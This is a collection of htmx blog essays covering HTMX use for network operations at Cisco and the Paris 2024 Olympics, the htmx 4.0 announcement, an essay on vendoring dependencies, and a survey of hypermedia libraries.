During my 6 years at Cisco, I developed numerous web applications to assist network engineers with highly complex
operations, both in terms of the volume of tasks to accomplish and the rigor of procedures to follow. Networking is a
specialized field in its own right, where the slightest error can have disastrous consequences: a network failure, even
partial, can deprive millions of people of essential services like the ability to make a simple phone call.</p>
This criticality imposes strict requirements on code meant for network operations: it must be reliable, readable, and
free of unnecessary frills. If there’s a problem, you need to be able to immediately trace the data flow and fix it on
the spot. That’s why, for years, I’ve used very few design patterns and banned function calls that call functions that
call functions, and so on. Beyond 2 levels of calls, I abstain.</p>
Following this logic, I favor mature tools over the latest trends. Thus, the Django / Celery / SQLite stack had been in
my toolbox for a long time. But like everyone else in the 2010s, I built SPAs and had never heard of intercooler.js or
hypermedia, and I understood REST the way it’s commonly described pretty much everywhere.</p>
For the JS framework, I made a conservative choice (and a marginal one, I know): I chose Ember.js. My motivations were
its strong backward compatibility during updates and native MVC support. This JS framework is excellent, and that’s
still my opinion.</p>
After watching David Guillot’s presentation on HTMX at DjangoCon Europe 2022, I dug into the subject and prototyped a
component that addressed one of my recurring needs. It’s a kind of datatable on which you can trigger actions. There’s a
demo video on the HTMX Discord here</a>.</p>
I was a beginner with HTMX and built it in 2-3 days (no AI :-) ). But what was interesting wasn’t so much having this
component quickly at hand : it was the 100% Django codebase. One codebase instead of two, one app to maintain, and no
more API contracts to manage between front and back.</p>
And once again, even though I was comfortable with the Ember.js framework, having a single project to maintain changes
everything.</p>
A few weeks later, a concrete use case came up for a major French ISP: configuring L2VPNs on brand-new routers, in bulk,
without configuration errors (obviously), based on configurations from old routers that were end-of-life and about to be
decommissioned. It was highly critical: a single router can handle thousands of clients, and… there are a lot of
routers.</p>
From that point on, I used the Django / Celery + HTMX + SQLite (and Hyperscript) stack and delivered the app in 5 weeks.
My goal was to guide the network engineer by the hand and spare them 100% of the repetitive, tedious work: they just had
to click and confirm, everything was handled. Their role was now limited to their expertise, and if there was a problem,
it was up to them to fix the network.</p>
The project, initially estimated at 18 months, ultimately took 9. And we were lucky: there were no complex corner cases
to handle. And even if there had been, we had plenty of time to deal with them.</p>
HTMX in all this?
If I had to develop the app as a SPA, it would have taken me at least twice as long. Why?
As a solo full-stack developer, simply switching back and forth between codebases is already time-consuming. And that’s
just the tip of the iceberg: the front/back approach itself adds a layer of complexity that ends up weighing heavily on
productivity.</p>
HTMX at the Olympic Games</a></h2>
The Paris 2024 Olympic Games network consisted of thousands of Cisco switches pre-configured to accept Wi-Fi access
points, which self-configured through an automation system developed by Orange and Cisco. Wi-Fi was the most common
connectivity mode at the Games. But in some cases, a physical connection was necessary, most often to plug in a video
camera, but not only. Sometimes there was simply no other choice but to rely on a cable to connect, and therefore to
configure the relevant switch port. That’s where an application became necessary.</p>
When Pollux contacted me about his need, he already had a data model for his network services in a Django project.
Additionally, he could deploy services via CLI: part of the business logic was already in place. The problem was that
service deployment parameters needed to be consolidated in an application. In CLI, you have to manage different data
sources, which can quickly become complicated for the user. So it was necessary to centralize these business parameters
in a webapp, expose all the data needed to deploy a service, and provide a GUI to configure them.</p>
The Games were approaching and Pollux didn’t have time to build the webapp: as the architect of the Olympic network, he
was overwhelmed by a colossal number of tasks. I showed him the L2VPN app mentioned above and specified the 5-week
delivery timeline. I told him that if it suited him, I could build him an HTMX webapp based on his existing Django
project and a Bootstrap CSS customized internally by Orange.</p>
We agreed on an 8-week timeline to cover the need, which involved 3 connectivity services: Direct Internet Access,
Private VLAN, and Shared Internet Access.</p>
Web Dev with HTMX</a></h2>
HTMX is somewhat a return to the roots of web development, and regardless of the web framework: Django, ROR, Symfony…
You rediscover everything that makes a web framework useful rather than turning it into a mere JSON provider. Sending
HTML directly to the browser, storing the app state directly in the HTML. That’s what true REST is, and it’s so much
simpler to manage.</p>
If you ask me what’s most striking, it’s certainly returning to very simple things like this:</p>


</p>
</center>
 Progress bar from RCP Portal </figcaption>
</figure>
How does this progress bar work?</p>
Exactly like the example in the docs</a>!</p>
Why this choice? Because it’s coded in 10 seconds, because the app won’t have thousands of users on this internal tool,
no scaling concerns: you can do good old data polling without any problem.</p>
And the end user? If I use old-school polling, they don’t care: what they want is the information. No SSE or WebSocket
for this use case, I don’t need it. And if the need ever arises, the WebSocket (or SSE) plugin is easy to set up.</p>
One of the big advantages of the philosophy surrounding HTMX is the notion of Locality of Behaviour</a>. Let’s take this
progress bar: if you want to know how it works, just look at the page source. No need to go into documentation or the
codebase, just a right-click and “View Page Source”:</p>

</span><</span>div
</span>        </span>hx-get</span>=</span>"/job/progress"
</span>        </span>hx-trigger</span>=</span>"every 600ms"
</span>        </span>hx-target</span>=</span>"this"
</span>        </span>hx-swap</span>=</span>"innerHTML"</span>>
</span>    <</span>div </span>class</span>=</span>"progress" </span>role</span>=</span>"progressbar" </span>aria-valuemin</span>=</span>"0" </span>aria-valuemax</span>=</span>"100" </span>aria-valuenow</span>=</span>"0"
</span>         </span>aria-labelledby</span>=</span>"pblabel"</span>>
</span>        <</span>div </span>id</span>=</span>"pb" </span>class</span>=</span>"progress-bar" </span>style</span>=</span>"</span>width:</span>0%</span>"</span>>
</span>        </</span>div</span>>
</span>    </</span>div</span>>
</span></code></pre>
You immediately know that every 600ms, this part of the page is updated with the content returned by the view handling
the /job/progress</code> endpoint. No mystery for the team taking over development who wants to modify something: everything
you need to know is right in front of you.</p>
And that’s exactly what HTMX is about: every component, every interaction remains visible, understandable, and
self-documented directly in the HTML. This is important for what comes next.</p>
HTMX is “AI friendly”™</a></h2>
In the early stages of app development, I focused on the most complex network service: DIA (Direct Internet Access). DIA
for the Olympic Games meant many business parameters with many rules to apply.</p>
The DIA creation form calls an endpoint that triggers a very long function, close to 600 lines of code.</p>
Why such a long function?</p>
Because it’s more readable and efficient to concentrate the data flow in one place, rather than dispersing it across a
multitude of layers and patterns.</p>
An application is a wrapper around data: it orchestrates the data flow (data must flow!) and CRUD operations. But what
control do you retain when this flow is obfuscated in complex patterns or dispersed across 2 codebases?</p>
The data flow must remain readable for the developer.</p>
HTMX, by allowing you to manage the GUI directly server-side, makes this flow even clearer. The same endpoint can return
HTML fragments to signal that certain form data is invalid, or conversely indicate that a service deployment has
started. You can thus act on any part of the GUI within the same function, while transforming the data to pass it to the
system that configures the network switch.</p>
In a traditional frontend/backend approach, this would be more complex: two applications to manage, and a much less
readable data flow.</p>
This drastic code simplification enabled by HTMX, combined with a procedural approach, produces compact and transparent
logic, easy to navigate for a developer… or for an LLM, as I discovered.</p>
For the Private VLAN (PVLAN) network service, the “shape” of the main function is roughly the same as for DIA: input
parameters, validation, then interactions with the GUI via HTML fragments, and, if everything is correct, switch
configuration.</p>
The difference? PVLAN is simpler to handle: fewer form parameters and a bit less business logic.</p>
So I took the long DIA function and gave it to an LLM (Claude 3 had just been released), with a prompt specifying the
parameters specific to PVLAN. In seconds, Claude returned a new adapted function, and the same for the HTML templates.
Result: about 80% of the code was ready, with only a few points to correct and relatively few errors made by the LLM,
which freed up time for me to add specific business logic for a major client.</p>
For the third network service, Shared Internet Access (SIA), even simpler than the previous two, I provided the LLM with
both the DIA and PVLAN functions. With the magic word “extrapolation”</em> in the prompt, the generated code was 95%
correct.</p>
Summary of My Experience</a></h2>

DIA</strong>: 0% AI, 100% handwritten code (business logic + GUI + overhaul of the switch configuration task management
system) → 4 weeks</strong></li>
PVLAN</strong>: 80% AI, 20% handwritten code (corrections + adding specific business logic) → 1 week</strong></li>
SIA</strong>: 95% AI, 5% handwritten code (minor corrections) → 1 day</strong></li>
</ul>
The time saved was reinvested in testing, bug fixes, project management, and even a few additions outside the initial
scope.</p>
Moreover, the same app was used on the “Tour de France 2025” with minor changes that were made easily thanks to the
hypermedia approach.</p>
This result is possible because of the combination of HTMX + the procedural approach</em>, which produces naturally
readable code, without unnecessary abstraction layers. The data flow is clear, concentrated in a single function, and
the GUI/server logic is directly accessible.</p>
For an LLM, this is ideal: it doesn’t need to construct context through a complex architecture. It just needs to follow
the flow and extrapolate it to a new use case. In other words, what’s simpler for the developer is also simpler for the
AI. This is the sense in which HTMX is truly “AI friendly”™</em>.</p>
Ultimately, HTMX mainly allowed me to save time and keep my code clear.
No unnecessary layers, no superfluous complexity: just concrete stuff that works, fast.</p>
And that has made a big difference on these critical projects.</p>


The fetch()ening
2025-11-01T00:00:00+00:00
</p>
OK, I said there would never be a version three of htmx.</p>
But, technically</em>, I never said anything about a version four</em>…</p>
htmx 4: The fetch()ening</a></h2>
In The Future of htmx</a> I said the following:</p>

We are going to work to ensure that htmx is extremely stable in both API & implementation. This means accepting and
documenting the quirks</a> of the current implementation.</p>
</blockquote>
Earlier this year, on a whim, I created fixi.js</a>, a hyperminimalist implementation
of the ideas in htmx.  That work gave me a chance to get a lot more familiar  with the fetch()</code> and, especially, the
async</a> infrastructure
available in JavaScript.</p>
In doing that work I began to wonder if that, while the htmx API</a>
is (at least reasonably) correct, maybe there was room for a more dramatic change of the implementation that took
advantage of these features in order to simplify the library.</p>
Further, changing from ye olde XMLHttpRequest</code></a>
(a legacy of htmx 1.0 IE support) to fetch()</code></a> would
be a pretty violent change, guaranteed to break at least some</em> stuff.</p>
So I began thinking: if we are going to consider moving to fetch, then maybe we should also</em> use this update as a
chance address at least some</em> of the quirks & cruft</a> that htmx has acquired over its lifetime.</p>
So, eventually & reluctantly, I have changed my mind: there will</em> be another major version of htmx.</p>
However, in order to keep my word that there will not be a htmx 3.0, the next release will instead be htmx 4.0.</p>
Project Goals</a></h2>
With htmx 4.0 we are rebuilding the internals of htmx, based on the lessons learned from
fixi.js and five+ years</a> of supporting htmx.</p>
There are three major simplifying changes:</p>
The fetch()ening</a></h3>
The biggest internal change is that fetch()</code> will replace XMLHttpRequest</code> as the core ajax infrastructure.  This
won’t actually have a huge effect on most usages of htmx except</em> that the events model will necessarily change due
to the differences between fetch()</code> and XMLHttpRequest</code>.</p>
Explicit Inheritance By Default</a></h3>
I feel that the biggest mistake in htmx 1.0 & 2.0 was making attribute inheritance implicit.  I was inspired by CSS in
doing this, and the results have been roughly the same as CSS: powerful & maddening.</p>
In htmx 4.0, attribute inheritance will be explicit by default rather than implicit.  Explicit inheritance will
be done via the :inherited</code> modifier:</p>
  <</span>div </span>hx-target:inherited</span>=</span>"#output"</span>>
</span>    <</span>button </span>hx-post</span>=</span>"/up"</span>>Like</</span>button</span>>
</span>    <</span>button </span>hx-post</span>=</span>"/down"</span>>Dislike</</span>button</span>>
</span>  </</span>div</span>>
</span>  <</span>output </span>id</span>=</span>"output"</span>>Pick a button...</</span>output</span>>
</span></code></pre>
Here the hx-target</code> attribute is explicitly declared as inherited</code> on the enclosing div</code> and, if it wasn’t, the
button</code> elements would not inherit the target from it.</p>
You will be able to revert to htmx 2.0 implicit inheritance behavior via a configuration variable.</p>
No Locally Cached History</a></h3>
Another source of pain for both us and for htmx users is history support.  htmx 2.0 stores history in local
cache to make navigation faster.  Unfortunately, snapshotting the DOM is often brittle because of third-party
modifications, hidden state, etc.  There is a terrible simplicity to the web 1.0 model of blowing everything away and
starting over.  There are also security concerns storing history information in session storage.</p>
In htmx 2.0, we often end up recommending that people facing history-related issues simply disable the cache entirely,
and that usually fixes the problems.</p>
In htmx 4.0, history support will no longer snapshot the DOM and keep it locally.  It will, rather, issue a network
request for the restored content.  This is the behavior of 2.0 on a history cache-miss, and it works reliably with
little effort on behalf of htmx users.</p>
We will offer an extension that enables history caching like in htmx 2.0, but it will be opt-in, rather than the default.</p>
This tremendously simplifies the htmx codebase and should make the out-of-the-box behavior much more plug-and-play.</p>
What Stays The Same?</a></h2>
Most things.</p>
The core</a> functionality of htmx will remain the same, hx-get</code>, hx-post</code>,
hx-target</code>, hx-boost</code>, hx-swap</code>, hx-trigger</code>, etc.</p>
With a few configuration tweaks, most htmx 2.x based applications should work with htmx 4.x.</p>
These changes will make the long term maintenance & sustainability of the project much stronger.  It will also take
pressure off the 2.0 releases, which can now focus on stability rather than contemplating new features.</p>
Upgrading</a></h2>
htmx 2.0 users will</em> face an upgrade project when moving to 4.0 in a way that they did not have to in moving
from 1.0 to 2.0.</p>
I am sorry about that, and want to offer two things to address it:</p>

htmx 2.0 (like htmx 1.0 & intercooler.js 1.0) will be supported in perpetuity</em>, so there is absolutely no</em> pressure to
upgrade your application: if htmx 2.0 is satisfying your hypermedia needs, you can stick with it.</li>
We will roll htmx 4.0 out slowly, over a multi-year period.  As with the htmx 1.0 -> 2.0 upgrade, there will be a long
period where htmx 2.x is latest</code> and htmx 4.x is next</code></li>
</ul>
New Features</a></h2>
Beyond simplifying the implementation of htmx significantly, switching to fetch also gives us the opportunity to add
some nice new features to htmx</p>
Streaming Responses & SSE in Core</a></h3>
By switching to fetch()</code>, we can take advantage of its support for
readable streams</a>, which
allow for a stream of content to be swapped into the DOM, rather than a single response.</p>
htmx 1.0 had Server Sent Event support integrated into the library.  In htmx 2.0 we pulled this functionality out as an
extension.  It turns out that SSE is just a specialized version of a streaming response, so in adding streaming
support, it’s an almost-free free two-fer to add that back into core as well.</p>
This will make incremental response swapping much cleaner and well-supported in htmx.</p>
Morphing Swap in Core</a></h3>
Three years ago</a> I had
an idea for a DOM morphing algorithm that improved on the initial algorithm pioneered by morphdom</a>.</p>
The idea was to use “id sets” to make smarter decisions regarding which nodes to preserve and which nodes to delete when
merging changes into the DOM, and I called this idea “idiomorph”.  Idiomorph has gone on to be adopted by many other
web project such as Hotwire</a>.</p>
We strongly considered including it in htmx 2.0, but I decided not too because it worked well as an extension and
htmx 2.0 had already grown larger than I wanted.</p>
In 4.0, with the complexity savings we achieved by moving to fetch()</code>, we can now comfortably fit a morphInner</code> and
morphOuter</code> swap into core, thanks to the excellent work of Michael West.</p>
Explicit <htmx-partial> Tag Support</a></h3>
htmx has, since very early on, supported a concept of “Out-of-band” swaps: content that is removed from the main HTML
response and swapped into the DOM elsewhere.  I have always been a bit ambivalent about them, because they move away
from Locality of Behavior</a>, but there is no doubt that they are useful
and often crucial for achieving certain UI patterns.</p>
Out-of-band swaps started off very simply: if you marked an element as hx-swap-oob='true'</code>, htmx would swap the element
as the outer HTML of any existing element already in the DOM with that id.  Easy-peasy.</p>
However, over time, people started asking for different functionality around Out-of-band swaps: prepending, appending,
etc. and the feature began acquiring some fairly baroque syntax to handle all these needs.</p>
We have come to the conclusion that the problem is that there are really two</em> use cases, both currently trying to be
filled by Out-of-band swaps:</p>

A simple, id-based replacement</li>
A more elaborate swap of partial content</li>
</ul>
Therefore, we are introducing the notion of <htmx-partial></code>s in htmx 4.0</p>
A partial element is, under the covers, a template element and, thus, can contain any sort of content you like.  It
specifies on itself all the standard htmx options regarding swapping, hx-target</code> and hx-swap</code> in particular, allowing
you full access to all the standard swapping behavior of htmx without using a specialized syntax.  This tremendously
simplifies the mental model for these sorts of needs, and dovetails well with the streaming support we intend to offer.</p>
Out-of-band swaps will be retained in htmx 4.0, but will go back to their initial, simple focus of simply replacing
an existing element by id.</p>
Improved View Transitions Support</a></h3>
htmx 2.0 has had View Transition</a> support since
April of 2023</a>.  In the interceding
two years, support for the feature has grown across browsers (c’mon, safari, you can do it) and we’ve gained experience
with the feature.</p>
One thing that has become apparent to us while using them is that, to use them in a stable manner, it is important
to establish a queue</em> of transitions, so each can complete before the other begins.  If you don’t do this, you can get
visually ugly transition cancellations.</p>
So, in htmx 4.0 we have added this queue which will ensure that all view transitions complete smoothly.</p>
CSS transitions will continue to work as before as well, although the swapping model is again made much simpler by the
async runtime.</p>
We may enable View Transitions by default, the jury is still out on that.</p>
Stabilized Event Ordering</a></h3>
A wonderful thing about fetch()</code> and the async support in general is that it is much</em> easier to guarantee a stable
order of events.  By linearizing asynchronous code and allowing us to use standard language features like try/catch,
the event model of htmx should be much more predictable and comprehensible.</p>
We are going to adopt a new standard for event naming to make things even clearer:</p>
htmx:<phase>:<system>[:<optional-sub-action>]</code></p>
So, for example, htmx:before:request</code> will be triggered before a request is made.</p>
Improved Extension Support</a></h3>
Another opportunity we have is to take advantage of the async</code> behavior of fetch()</code> for much better performance in our
preload extension (where we issue a speculative (GET</code> only!) request in anticipation of an actual trigger).  We have
also added an optimistic update extension to the core extensions, again made easy by the new async features.</p>
In general, we have opened up the internals of the htmx request/response/swap cycle much more fully to extension developers,
up to and including allowing them to replace the fetch()</code> implementation used by htmx for a particular request.  There
should not be a need for any hacks to get the behavior you want out of htmx now: the events and the open “context” object
should provide the ability to do almost anything.</p>
Improved hx-on</code> Support</a></h3>
In htmx 2.0, I somewhat reluctantly added the hx-on</code></a> attributes to support light
scripting inline on elements.  I added this because HTML does not allow you to listen for arbitrary events via on</code>
attributes: only standard DOM events like onclick</code> can be responded to.</p>
We hemmed and hawed about the syntax and so, unfortunately, there are a few different ways to do it.</p>
In htmx 4.0 we will adopt a single standard for the hx-on</code> attributes: hx-on:<event name></code>.  Additionally, we are
working to improve the htmx JavaScript API (especially around async operation support) and will make those features
available in hx-on</code>:</p>
<</span>button </span>hx-post</span>=</span>"/like"
</span>        </span>hx-on:htmx:after:swap</span>=</span>"await timeout('3s'); ctx.newContent[0].remove()"</span>>
</span>    Get A Response Then Remove It 3 Seconds Later
</span></</span>button</span>>
</span></code></pre>
htmx will never support a fully featured scripting mechanism in core, we recommend something like
Alpine.js</a> for that, but our hope is that we can provide a relatively minimalist API that
allows for easy, light async scripting of the DOM.</p>
I should note that htmx 4.0 will continue to work with eval()</code> disabled, but you will need to forego a few features like
hx-on</code> if you choose to do so.</p>
A Better But Familiar htmx</a></h3>
All in all, our hope is that htmx 4.0 will feel an awful lot like 2.0, but with better features and, we hope, with fewer bugs.</p>
Timeline</a></h2>
As always, software takes as long as it takes.</p>
However, our current planned timeline is:</p>

An alpha release is available today</em>:  htmx@4.0.0-alpha1</code></li>
A 4.0.0 release should be available in early-to-mid 2026</li>
4.0 will be marked latest</code> in early-2027ish</li>
</ul>
You can track our progress (and see quite a bit of dust flying around) in the four</code> branch on
github</a> and at:</p>
https://four.htmx.org</a></p>
Thank you for your patience and pardon our dust!</p>

“Well, when events change, I change my mind. What do you do?” –Paul Samuelson or John Maynard Keynes</p>
</blockquote>


Vendoring
2025-01-27T00:00:00+00:00
“Vendoring” software is a technique where you copy the source of another project directly into your own project.</p>
It is an old technique that has been used for time immemorial in software development, but the term “vendoring” to
describe it appears to have originated in the ruby community</a>.</p>
Vendoring can be and is still used today. You can vendor htmx, for example, quite easily.</p>
Assuming you have a /js/vendor</code> directory in your project, you can just download the source into your own project like
so:</p>
curl</span> https://raw.githubusercontent.com/bigskysoftware/htmx/refs/tags/v2.0.4/dist/htmx.min.js > /js/vendor/htmx-2.0.4.min.js
</span></code></pre>
You then include the library in your head</code> tag:</p>
<</span>script </span>src</span>=</span>"/js/vendor/htmx-2.0.4.min.js"</span>></</span>script</span>>
</span></code></pre>
And then you check the htmx source into your own source control repository.  (I would even recommend considering using
the non-minimized version</a>, so
you can better understand and debug the code.)</p>
That’s it, that’s vendoring.</p>
Vendoring Strengths</a></h2>
OK, great, so what are some strengths of vendoring libraries like this?</p>
It turns out there are quite a few:</p>

Your entire project is checked in to your source repository, so no external systems beyond your source control need
to be involved when building it</li>
Vendoring dramatically improves dependency visibility</em>: you can see</em> all the code your project depends on, so you
won’t have a situation like we have in htmx, where we feel like we only have a few development dependencies, when in
fact we may have a lot</li>
This also means if you have a good debugger, you can step into the library code as easily as any other code.  You
can also read it, learn from it and even modify it if necessary.</li>
From a security perspective, you aren’t relying on opaque code.  Even if your package manager has
an integrity hash system, the actual code may be opaque to you.  With vendored code it is checked in and can be
analysed automatically or by a security team.</li>
Personally, it has always seemed crazy to me that people will often resolve dependencies at deployment time, right
when your software is about to go out the door.  If that bothers you, like it does me, vendoring puts a stop to it.</li>
</ul>
On the other hand, vendoring also has one massive drawback: there typically isn’t a good way to deal with what is called
the transitive dependency</a> problem.</p>
If htmx had sub-dependencies, that is, other libraries that it depended on, then to vendor it properly you would have to
start vendoring all those libraries as well.  And if those dependencies had further dependencies, you’d need to install
them as well… And on and on.</p>
Worse, two dependencies might depend on the same library, and you’ll need to make sure you get the
correct version</a> of that library for everything to work.</p>
This can get pretty difficult to deal with, but I want to make a paradoxical claim that this weakness (and, again, it’s
a real one) is actually a strength in some way:</p>
Because dealing with large numbers of dependencies is difficult, vendoring encourages a culture of independence</em>.</p>
You get more of what you make easy, and if you make dependencies easy, you get more of them.  Making dependencies,
especially</em> transitive dependencies, more difficult would make them less common.</p>
And, as we will see in a bit, maybe fewer dependencies isn’t such a bad thing.</p>
Dependency Managers</a></h2>
That’s great and all, but there are significant</a>
drawbacks</a>
to vendoring, particular the transitive dependency problem.</p>
Modern software engineering uses dependency managers to deal with the dependencies of software projects.  These tools
allow you to specify your projects dependencies, typically via some sort of file.  They then they will install those
dependencies and resolve and manage all the other dependencies that are necessary for those dependencies to work.</p>
One of the most widely used package managers is NPM: The Node Package Manager</a>.  Despite having
no runtime dependencies, htmx uses NPM to specify 16 development dependencies.  Development dependencies are dependencies
that are necessary for development of htmx, but not for running it.  You can see the dependencies at the bottom of
the NPM package.json</code></a> file for the project.</p>
Dependency managers are a crucial part of modern software development and many developers today couldn’t imagine
writing software without them.</p>
The Trouble with Dependency Managers</a></h3>
So dependency managers solve the transitive dependency problem that vendoring has.  But, as with everything in software
engineering, there are tradeoffs associated with them.  To see some of these tradeoffs, let’s take a look at the
package-lock.json</code></a> file in htmx.</p>
NPM generates a package-lock.json</code> file that contains the resolved transitive closure of dependencies for a project, with
the concrete versions of those dependencies.  This helps ensure that the same dependencies are used unless a user
explicitly updates them.</p>
If you take a look at the package-lock.json</code> for htmx, you will find that the original 13 development dependencies have
ballooned into a total of 411 dependencies when all is said and done.</p>
htmx, it turns out, relies on a huge number of packages, despite priding itself on being a relatively lean.  In fact,
the node_modules</code> folder in htmx is a whopping 110 megabytes!</p>
But, beyond this bloat there are deeper problems lurking in that mass of dependencies.</p>
While writing this essay I found that htmx apparently depends on the
array.prototype.findlastindex</code></a>, a
polyfill</a> for a JavaScript feature introduced in
2022</a>.</p>
Now, htmx 1.x</a> is IE compatible, and I don’t want</em> polyfills for anything</em>: I want to write
code that will work in IE without any additional library support.  And yet a polyfill has snuck in via a chain
of dependencies (htmx does not directly rely on it) that introduces a dangerous polyfill that would let me write
code that would break in IE, as well as other older browsers.</p>
This polyfill may or may not be available when I run the htmx test suite</a> (it’s hard to tell)
but that’s the point: some dangerous code has snuck into my project without me even knowing it, due to the number
and complexity of the (development) dependencies it has.</p>
This demonstrates significant cultural</em> problem with dependency managers:</p>
They tend to foster a culture of, well, dependency.</p>
A spectacular example of this was the infamous left-pad incident</a>,
in which an engineer took down a widely used package and broke the build at companies like Facebook, PayPal, Netflix,
etc.</p>
That was a relatively innocuous, although splashy, issue, but a more serious concern is
supply chain attacks</a>, where a hostile entity is able to compromise
a company via code injected unwittingly via dependencies.</p>
The larger our dependency graph gets, the worse these problems get.</p>
Dependencies Reconsidered</a></h2>
I’m not the only person thinking about our culture of dependency.  Here’s what some other, smarter folks have to say
about it:</p>
Armin Ronacher</a>, creator of flask</a>
recently said this on the ol’twits</a>:</p>

The more I build software, the more I despise dependencies. I greatly prefer people copy/pasting stuff into their own
code bases or re-implement it. Unfortunately the vibe of the time does not embrace that idea much. I need that vibe
shift.</p>
</blockquote>
He also wrote a great blog post about his
experience with package management</a> in the Rust ecosystem:</p>

It’s time to have a new perspective: we should give kudos to engineers who write a small function themselves instead
of hooking in a transitive web of crates. We should be suspicious of big crate graphs. Celebrated are the minimal
dependencies, the humble function that just quietly does the job, the code that doesn’t need to be touched for years
because it was done right once.</p>
</blockquote>
Please go read it in full.</p>
Back in 2021, Tom Macwright</a> wrote this in
Vendor by default</a></p>

But one thing that I do think is sort of unusual is: I’m vendoring a lot of stuff.</p>
Vendoring, in the programming sense, means “copying the source code of another project into your project.” It’s in
contrast to the practice of using dependencies, which would be adding another project’s name to your package.json
file and having npm or yarn download and link it up for you.</p>
</blockquote>
I highly recommend reading his take on vendoring as well.</p>
Software Designed To Be Vendored</a></h2>
Some good news, if you are an open source developer and like the idea of vendoring, is that there is a simple way to
make your software vendor-friendly: remove as many dependencies as you can.</p>
DaisyUI</a>, for example, has been in the process of
removing their dependencies</a>, going from 100 dependencies in
version 3 to 0 in version 5.</p>
There is also a set htmx-adjacent projects that are taking vendoring seriously:</p>

Surreal</a> - a lightweight jQuery alternative</li>
Facet</a> - an HTML-oriented Web Component library</li>
fixi</a> - a minimal htmx alternative</li>
</ul>
None of these JavaScript projects are available in NPM, and all of them recommend</a>
vendoring</a> the software</a>
into your own project as the primary installation mechanism.</p>
Vendor First Dependency Managers?</a></h2>
The last thing I want to briefly mention is a technology that combines both vendoring and dependency management:
vendor-first dependency managers.  I have never worked with one before, but I have been pointed to
vend</a>, a common lisp vendor oriented package manager (with a great README), as well
as go’s vendoring option</a>.</p>
In writing this essay, I also came across vendorpull</a> and
git-vendor</a>, both of which are small but interesting projects.</p>
These all look like excellent tools, and it seems to me that there is an opportunity for some of them (and tools like
them) to add additional functionality to address the traditional weaknesses of vendoring, for example:</p>

Managing transitive dependencies, if any</li>
Relatively easy updates of those dependencies</li>
Managing local modifications made to dependencies (and maybe help manage contributing them upstream?)</li>
</ul>
With these additional features I wonder if vendor-first dependency managers could compete with “normal” dependency
managers in modern software development, perhaps combining some of the benefits of both approaches.</p>
Regardless, I hope that this essay has helped you think a bit more about dependencies and perhaps planted the idea that
maybe your software could be a little less, well, dependent on dependencies.</p>


Alternatives to htmx
2025-01-12T00:00:00+00:00
htmx</a> is only one of many different libraries & frameworks that take the
hypermedia oriented</a> approach to building web applications. I have
said before that I think the ideas of htmx</a> / hypermedia</a> are more important than
htmx as an implementation.</p>
Here are some of my favorite other takes on these ideas that I think are worth your consideration:</p>
Unpoly</a></h2>
Unpoly</a> is a wonderful, mature front end framework that has been used heavily (especially in the
ruby community) for over a decade now. It offers
best-in-class progressive enhancement</a>
and has many useful concepts such as layers</a> and sophisticated
form validation</a>.</p>
I interviewed the author, Henning Koch, here</a></p>
You can see a demo application using Unpoly here</a>.</p>
Triptych</a></h2>
Triptych</a> is a set of three proposals</a>
to bring more generalized hypermedia controls directly into the HTML specification:</p>

Allow more HTTP Methods</a> to be used directly from HTML</li>
Allow buttons to act as stand-alone hypermedia controls</li>
Allow hypermedia controls to target any element on the page for replacement</li>
</ul>
It is in the process</a> of being introduced to the
WHATWG</a> for inclusion in the HTML specification.</p>
The project includes a polyfill</a> that can be used today
to implement applications using the proposal today.</p>
fixi.js</a></h2>
fixi.js</a> is a minimalist implementation of
generalized hypermedia controls</a> by the htmx team, focusing
on being as small as possible and omitting</a> many of the features
found in htmx.</p>
It is intended to be as small as possible (~3.5k unminified & uncompressed, ~1.3k compressed) while still being readable
and debuggable, so it can be included in a project directly without requiring any transformations.</p>
Datastar</a></h2>
Datastar</a> started life as a proposed rewrite of htmx in typescript and with modern
tooling. It eventually became its own project and takes
an SSE-oriented</a>
approach to hypermedia.</p>
Datastar combines functionality found in both htmx and Alpine.js</a> into
a single, tidy package that is smaller than htmx.</p>
You can see many examples of Datastar in action here</a>.</p>
Nomini</a></h2>
Nomini</a> is a hypermedia implementation that embraces writing JavaScript in the
original and intended way, as a simple enhancement to mostly-static pages. Its goal is to add a minimal layer of LoB on
top of HTML to allow for powerful server-driven web apps with easily implemented client-side features. Additionally, it
is currently the smallest library existing that gives both reactive variables and partial page swaps (~2.8k minified, ~
1.4k minzipped).</p>
In essence, Nomini is a tiny reimplementation of Datastar or a combination of Fixi and Alpine.js, intended to be a
minimal, pragmatic building block for reactive server-driven UIs.</p>
µJS</a></h2>
µJS</a> is a small (~5k) dependency-free library that implements many hypermedia ideas and includes
pre-fetching, SSE, idiomorph-based morphing and many other great features</a>.</p>
Alpine-ajax</a></h2>
If you are a fan of Alpine</a> (which is a common library to use in conjunction with htmx) you
should also look at Alpine AJAX</a>, an Alpine plugin which integrates htmx-like concepts
directly into Alpine.</p>
You can see many examples of Alpine AJAX in action here</a>.</p>
Hotwire Turbo</a></h2>
Turbo</a> is a component of the Hotwire</a> set of web development
technologies by 37Signals</a>, of Ruby on Rails</a> fame. It is a polished
front end framework that is used heavily in the rails community, but can be used with other backend technologies as
well.</p>
Some people who have had a bad experience with htmx have enjoyed turbo</a>.</p>
htmz</a></h2>
htmz</a> is a brilliant, tiny library that takes advantage of the fact that anchors and forms
already have a target</code></a> attribute that can target
an iframe</code>.</p>
This, in combination with the location hash</code>, is used to
allow generalized transclusion</a>.</p>
This is the entire</em> source of the library (I’m not joking):</p>

</span><</span>iframe </span>hidden name</span>=</span>htmz
</span>        </span>onload</span>=</span>"</span>setTimeout</span>(()</span>=></span>document.</span>querySelector</span>(</span>contentWindow</span>.location.hash||</span>null</span>)?.</span>replaceWith</span>(...</span>contentDocument</span>.body.childNodes))</span>"</span>></</span>iframe</span>>
</span></code></pre>
Amazing!</p>
TwinSpark</a></h2>
TwinSpark</a> is a library created by Alexander Solovyov</a> that is
similar to htmx, and includes features such as morphing</a>.</p>
It is being used in production</a> on sites with 100k+ daily users.</p>
jQuery</a></h2>
Finally, good ol’ jQuery</a> has the the 
load()</code></a>
function that will load a given url into an element. This method was part of the inspiration for
intercooler.js</a>, the precursor to htmx.</p>
It is very simple to use:</p>
  </span>$</span>(</span>"#result"</span>).</span>load</span>(</span>"ajax/test.html"</span>);
</span></code></pre>
and might be enough for your needs if you are already using jQuery.</p>
Conclusion</a></h2>
I hope that if htmx isn’t right for your application, one of these other libraries might be useful in allowing you to
utilize the hypermedia model. There is a lot of exciting stuff happening in the hypermedia world right now, and these
libraries each contribute to that.</p>
Finally, if you have a moment, please give them (especially the newer ones) a star on Github: as an open source
developer I know that Github stars are one of the best psychological boosts that help keep me going.</p>


A Real World wasm to htmx Port
2025-01-10T00:00:00+00:00

